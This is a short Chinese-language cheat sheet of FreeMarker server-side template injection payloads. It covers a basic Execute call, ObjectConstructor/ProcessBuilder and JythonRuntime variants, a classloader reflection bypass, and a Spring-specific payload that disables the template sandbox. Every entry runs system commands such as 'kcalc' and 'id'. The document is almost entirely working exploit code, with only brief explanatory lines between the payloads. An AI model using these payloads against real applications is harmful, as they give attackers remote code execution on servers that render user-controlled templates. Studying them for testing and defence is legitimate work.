最简单的 poc

<#assign test="freemarker.template.utility.Execute"?new()> ${test("kcalc")}

poc1:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","kcalc").start()}

poc2:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("kcalc")

绕过 class.getClassloader 反射加载 Execute 类

<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

如果 Spring Beans 可用,可以直接禁用沙箱,这个 payload 需要应用使用 freemarker+spring 并设置 setExposeSpringMacroHelpers(true) 或者 application.propertices 中设置 spring.freemarker.expose-spring-macro-helpers=true

<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}